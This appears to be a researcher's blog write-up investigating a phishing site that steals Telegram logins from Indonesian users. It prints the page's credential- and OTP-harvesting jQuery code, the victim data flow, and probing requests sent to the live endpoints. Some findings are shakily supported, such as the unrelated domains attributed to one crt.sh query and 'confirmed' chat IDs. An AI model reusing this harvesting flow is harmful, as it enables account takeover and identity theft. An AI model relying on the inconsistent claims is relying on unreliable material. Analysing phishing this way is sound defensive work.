At the end of July 2026, I received a report regarding a phishing site targeting Telegram users in Indonesia. The site at daftardisinionldnl.obnew.click was strongly suspected to be part of a large-scale Telegram account theft operation. As a cybersecurity researcher, I decided to conduct an in-depth investigation to uncover the modus operandi, infrastructure, and impact of this attack.
Initial Investigation
The investigation began with initial scanning using tools like nuclei and whatweb. The results immediately indicated strong signs that this was a phishing site:
$ whatweb https://daftardisinionldnl.obnew.click
https://daftardisinionldnl.obnew.click [200 OK]
Bootstrap, Country[RESERVED][ZZ], HTTPServer[cloudflare],
IP[172.67.175.243], JQuery[3.7.1],
Meta-Author[Daftar sekarang disini!! ],
Title[Daftar sekarang disini!!],
X-Powered-By[Express]
From this, I obtained several important pieces of information:
Server uses Cloudflare (IP: 172.67.175.243)
Backend uses Node.js with Express
Page uses Bootstrap and jQuery
Suspicious meta tag: "Daftar sekarang disini!!"
### Infrastructure Analysis
#### 1. Security Headers Analysis
I checked the security headers and discovered critical weaknesses:
```bash
$ curl -k -I https://daftardisinionldnl.obnew.click
HTTP/2 200
date: Wed, 29 Jul 2026 16:19:37 GMT
content-type: text/html; charset=utf-8
server: cloudflare
x-powered-by: Express
report-to: {"group":"cf-nel",...}
nel: {"report_to":"cf-nel",...}
cf-cache-status: DYNAMIC
Security Findings: Header Status Risk X-Powered-By Exposed Server information leakage Content-Security-Policy Missing XSS vulnerability X-Frame-Options Missing Clickjacking vulnerability HSTS Missing SSL strip vulnerability X-Content-Type-Options Missing MIME sniffing vulnerability Referrer-Policy Missing Referrer information leakage
2. SSL Certificate Analysis
I also examined the SSL certificate in use:
$ openssl s_client -connect daftardisinionldnl.obnew.click:443 -servername daftardisinionldnl.obnew.click
Certificate chain
0 s:CN=obnew.click
i:C=US, O=Google Trust Services, CN=WE1
Findings:
Main domain: obnew.click
Issuer: Google Trust Services
Valid: June 26 - September 24, 2026
#### 3. Discovery of Telegram Chat IDs
While analyzing the source code, I discovered something critical:
```bash
$ curl -k https://daftardisinionldnl.obnew.click | grep -E "7176837555|idtele" -B 5 -A 5
Source Code Found:
// Endpoint /code - Collecting OTP
var $clientHash = $("input#validateclientHash").val();
var $phone_number = $("input#validatephone_number").val();
var $provinsi = $("input#validateprovinsi").val();
var $otp_code = $("input#otp_code").val();
var $idtele = "7176837555" // Chat ID Recipient
if($clientHash === "" && $phone_number === "" && $otp_code === ""){
return false;
}
$.ajax({
type: "POST",
url: "/code",
data: $(this).serialize() + "&idtele=" + encodeURIComponent($idtele),
beforeSend: function() {
$("#alert").html("")
$('.loading').show();
$('#seccbutt').hide();
},
success: function(hasil){
// Data sent to Chat ID: 7176837555
}
});
// Endpoint /password - Collecting Password
var $clientHash = $("input#validateclientHash").val();
var $provinsi = $("input#validateprovinsi").val();
var $phone_number = $("input#validatephone_number").val();
var $password = $("input#password").val();
var $idtele = "7176837555" // Chat ID Recipient
if($clientHash === "" && $phone_number === "" && $password === ""){
return false;
}
$.ajax({
type: "POST",
url: "/password",
data: $(this).serialize() + "&idtele=" + encodeURIComponent($idtele),
beforeSend: function() {
$('.loading').show();
$("#alert").html("")
$('#thirdbutt').hide();
}
});
Chat IDs Discovered:
7176837555 (Primary ID - hardcoded in source code)
1781575242 (Secondary ID - found during scanning)
7176837556 (Confirmed active)
7176837557 (Confirmed active)
4. Endpoint Mapping
I mapped all active endpoints:
# Test endpoint /number
$ curl -X POST https://daftardisinionldnl.obnew.click/number \
-H "Content-Type: application/json" \
-d '{"full_name":"TEST","phone_number":"08123456789","provinsi":"JAKARTA"}'
{"error":"Phone number is required"} # Response shows active server validation!
# Test endpoint /code
$ curl -X POST https://daftardisinionldnl.obnew.click/code \
-H "Content-Type: application/json" \
-d '{"clientHash":"test","phone_number":"08123456789","otp_code":"123456","idtele":"7176837555"}'
# Response: 200 OK
# Test endpoint /password
$ curl -X POST https://daftardisinionldnl.obnew.click/password \
-H "Content-Type: application/json" \
-d '{"clientHash":"test","phone_number":"08123456789","password":"test123","idtele":"7176837555"}'
# Response: 200 OK
Active Endpoints: Endpoint Method Function Status /number POST Collect name + phone number Active /code POST Collect OTP Active /password POST Collect password Active / POST Upload documents Active
5. Rate Limiting Testing
I tested whether any brute force protection existed:
$ for i in {1..10}; do
curl -k -s -o /dev/null -w "%{http_code}\n" -X POST https://daftardisinionldnl.obnew.click/number \
-H "Content-Type: application/json" \
-d '{"full_name":"test","phone_number":"08123456789","provinsi":"test"}'
done
200
200
200
200
200
200
200
200
200
200 # ALL REQUESTS SUCCEEDED! No rate limiting!
Finding: No rate limiting protection - allowing unlimited brute force attempts.
6. Subdomain Enumeration
I performed subdomain discovery to understand the scale of the attacker’s infrastructure:
# Using crt.sh
$ curl -s "https://crt.sh/?q=%.obnew.click&output=json" | jq -r '.[].name_value' | sort -u | head -100
Results Revealed Dozens of Domains:
blorkanelust.click
bocah88.click
dechalk.click
orchidscholar.click
pin-up-casino-rbpb.click
qicbajvh.click
sacasino.click
1ratuular77.cfd
casino3735.cfd
shopspeed.cfd
toctay.cfd
milyon88.asia (Illegal online casino)
bet3k.bet (Online gambling)
losmovies.bio (Illegal streaming)
and more...
7. Technology Stack Verification
I also verified the technology stack in use:
$ nuclei -u https://daftardisinionldnl.obnew.click -tags tech,express,node
Technology Stack Identified:
Backend: Node.js + Express
Frontend: Angular, jQuery, Bootstrap
CDN: Cloudflare
SSL: Google Trust Services
Phishing Flow Uncovered
From the investigation results, I successfully mapped the entire phishing flow in 4 steps:
Step 1: Collect Identity
// First page - Requesting name and phone number
POST /number
{
"full_name": "Victim Name",
"phone_number": "08123456789",
"provinsi": "DKI Jakarta"
}
Step 2: Collect OTP
// Second page - Requesting OTP code
POST /code
{
"clientHash": "hash_value",
"phone_number": "08123456789",
"otp_code": "123456",
"idtele": "7176837555" // Sent to Chat ID
}
Step 3: Collect Password
// Third page - Requesting password
POST /password
{
"clientHash": "hash_value",
"phone_number": "08123456789",
"password": "victim_password",
"idtele": "7176837555" // Sent to Chat ID
}
Step 4: Upload Documents
// Fourth page - Upload KTP
POST /
{
"phone_number": "08123456789",
"otp_code": "123456",
"password": "victim_password",
"file": "KTP/documents",
"idtele": "7176837555" // Sent to Chat ID
}
Social Engineering Analysis
This phishing site used relatively sophisticated psychological manipulation techniques:
Title: "Daftar sekarang disini!!"
Header: "Silakan Masuk Dengan Akun Telegram Anda"
Message: "Kami telah mengirimkan kode verifikasi ke aplikasi Telegram Anda"
Techniques Used:
Urgency - The word "sekarang" creates time pressure
Authority - Claiming to represent Telegram
Clarity - Providing step-by-step instructions
Trust - Using familiar and formal language
Impact and Risk Assessment
Based on the findings, I assess the impact of this attack as highly significant: Category Assessment Severity CRITICAL Impact Complete Telegram account takeover Scope High - Targeting Indonesian users Compromised Data Name, Phone Number, OTP, Password, KTP Current Status ACTIVE - Still operational Risk Score 62/100 (APOCALYPTIC RISK)
Potential Impact:
Account Takeover - Attackers can access all conversations
Attack Propagation - Compromised accounts used to spread phishing
Identity Theft - KTP data used for fraud
Personal Data Exposure - Conversation history and business data exposed
Actions Taken
1. Evidence Collection
I have collected the following evidence:
Documents:
phishing_page.png - Screenshot of phishing page
phishing_source.html - Complete source code
headers.txt - HTTP headers
dns.txt - DNS records
whois.txt - WHOIS information
ssl_cert.txt - SSL certificate
chat_ids.txt - List of Telegram Chat IDs
endpoints.txt - List of active endpoints
endpoint_test.txt - Endpoint testing results
security_headers.txt - Security header analysis
rate_limit_test.txt - Rate limiting test results
subdomains.txt - List of subdomains
2. Technical Analysis
Technology fingerprinting (Node.js + Express)
Security headers analysis (5 missing headers)
Rate limiting test (no protection)
Data flow mapping (from victim to attacker)
Chat ID verification (4 active IDs confirmed)
3. Reporting
I have reported these findings to: Institution Status Telegram Abuse Team Report submitted Cloudflare Abuse Report submitted
Security Recommendations
Based on this investigation, I recommend the following measures: For Telegram Users:
Enable 2FA - Don't rely solely on OTP
Verify URLs - Ensure the URL is legitimate (web.telegram.org)
Don't Click Suspicious Links - Especially those requesting personal data
Report Suspicious Activity - To Telegram and authorities
Check Connected Devices - Remove unknown access
For Telegram:
Block Chat IDs - 7176837555, 1781575242, 7176837556, 7176837557
Alert Users - Warning about this phishing campaign
Monitor Similar Domains - Quickly identify new domains
For Cloudflare:
Takedown Domain - daftardisinionldnl.obnew.click
Investigate Related Domains - Other domains on the same IP
Enhanced Verification - Tighten domain verification process
Conclusion
This investigation revealed a large-scale Telegram phishing operation using relatively sophisticated and organized infrastructure. The attackers not only targeted individuals but also leveraged legitimate cloud services like Cloudflare to hide their tracks.
Key Takeaways:
The phishing site remains ACTIVE and operational
4 Telegram Chat IDs confirmed receiving stolen data
No adequate security protections (no rate limiting, missing security headers)
Extensive domain network on the same IP indicates large-scale operation
Significant potential impact for Indonesian Telegram users
Required Actions:
Immediate domain takedown
Block Telegram Chat IDs
Public warning
Enhanced domain verification by Cloudflare
Closing
This phishing campaign serves as an important reminder that cyber attacks continue to evolve and grow more sophisticated. Collaboration between security researchers, service providers, and authorities is essential to protect users from similar threats in the future.
Stay vigilant and protect your digital accounts.